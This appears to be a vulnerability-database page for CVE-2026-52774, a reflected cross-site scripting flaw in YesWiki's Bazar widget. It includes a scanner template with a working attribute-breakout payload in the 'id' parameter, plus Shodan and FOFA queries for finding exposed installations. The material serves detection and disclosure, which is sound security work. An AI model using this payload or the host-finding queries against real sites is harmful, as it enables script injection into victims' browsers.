CVE-2026-52774: YesWiki Bazar Widget - Reflected XSS via 'id' Parameter

2026-07-31 YesWiki Bazar Widget PoC Public

Description

YesWiki's Bazar widget handler reflects the id GET parameter into HTML attributes using strip_tags() only. strip_tags() does not escape double quotes, allowing an attacker to break out of the data-formid attribute and inject arbitrary event handlers.

PoC

id: CVE-2026-52774

info:
  name: YesWiki Bazar Widget - Reflected XSS via 'id' Parameter
  author: 0x_Akoko
  severity: medium
  description: |
   YesWiki's Bazar widget handler reflects the id GET parameter into HTML attributes using strip_tags() only. strip_tags() does not escape double quotes, allowing an attacker to break out of the data-formid attribute and inject arbitrary event handlers.
  impact: |
   Attackers can execute arbitrary JavaScript in victims' browsers.
  remediation: |
   Upgrade YesWiki to version 4.6.6 or later where output encoding is applied.
  reference:
    - https://github.com/YesWiki/yeswiki/security/advisories/GHSA-r5xw-gcgw-hwp5
    - https://nvd.nist.gov/vuln/detail/CVE-2026-52774
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-52774
    epss-score: 0.00658
    epss-percentile: 0.49928
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    vendor: yeswiki
    product: yeswiki
    shodan-query: http.html:"YesWiki"
    fofa-query: body="YesWiki"
  tags: cve,cve2026,yeswiki,xss,reflected

http:
  - method: GET
    path:
      - "{{BaseURL}}/NoSuchPage/widget?id=%22%20onmouseover=%22alert(document.domain)%22%20x=%22"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'data-formid="" onmouseover="alert(document.domain)" x=""'
          - 'widgetapp'
        condition: and

      - type: word
        part: body
        words:
          - "yeswiki"
          - "YesWiki"
        condition: or

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502203ac5306e332305c7c84d213eed5a06ecba300e7830d2b40117bbbe8d74228fd802210099f66548970ba8a4f4cfe8b8c2030f8cd40b14979c4057bab353ff632f0a64a5:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities